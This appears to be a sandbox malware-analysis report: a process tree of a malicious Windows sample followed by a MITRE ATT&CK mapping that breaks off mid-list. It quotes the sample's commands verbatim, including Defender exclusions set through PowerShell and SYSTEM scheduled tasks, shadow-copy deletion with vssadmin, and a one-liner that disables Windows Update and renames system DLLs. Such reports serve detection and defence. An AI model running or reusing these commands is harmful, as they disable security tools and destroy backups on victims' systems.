"C:\Users\Admin\AppData\Local\Temp\inset_n19.0.09.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1200

C:\Users\Public\jIAFjr\jMrBRD.exe
"C:\Users\Public\jIAFjr\jMrBRD.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jIAFjr\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jIAFjr\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2388
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3388
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2308
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1500
- C:\Program Files (x86)\4RLIOE\4RLIOE.exe
  "C:\Program Files (x86)\4RLIOE\4RLIOE.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:6004
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5964
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2288
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:240
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3676
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1684
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5856
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\4RLIOE.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\4RLIOE.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5992
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\4RLIOE.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\4RLIOE.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3280
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\4RLIOE.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\4RLIOE.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4572
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5592
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4592
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1576
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2960
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4320
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3964
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5816
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3028
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1932
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\4RLIOE\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1196
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\4RLIOE\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2704
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1916
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\4RLIOE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1156
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\4RLIOE\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4564
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4160
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:1420
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:1716
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:5940
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:2488

C:\Users\Public\jIAFjr\jMrBRD.exe
"C:\Users\Public\jIAFjr\jMrBRD.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5436

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jIAFjr" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jIAFjr" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4956

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4580

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5752
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5196

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5712
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2140

C:\Program Files (x86)\4RLIOE\4RLIOE.exe
"C:\Program Files (x86)\4RLIOE\4RLIOE.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4860

C:\Program Files (x86)\APE2f\2EX1d.exe
"C:\Program Files (x86)\APE2f\2EX1d.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4252

C:\Program Files (x86)\4RLIOE\4RLIOE.exe
"C:\Program Files (x86)\4RLIOE\4RLIOE.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4076

C:\Program Files (x86)\APE2f\2EX1d.exe
"C:\Program Files (x86)\APE2f\2EX1d.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3140

C:\ProgramData\WyPl7QFX.exe
"C:\ProgramData\WyPl7QFX.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\ProgramData\7DcgzIJ4\2n5BDLNt.exe
"C:\ProgramData\7DcgzIJ4\2n5BDLNt.exe"
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:5492

C:\ProgramData\7Ncpu234\sVG0NLPh.exe
"C:\ProgramData\7Ncpu234\sVG0NLPh.exe" 1776
1⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:5108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry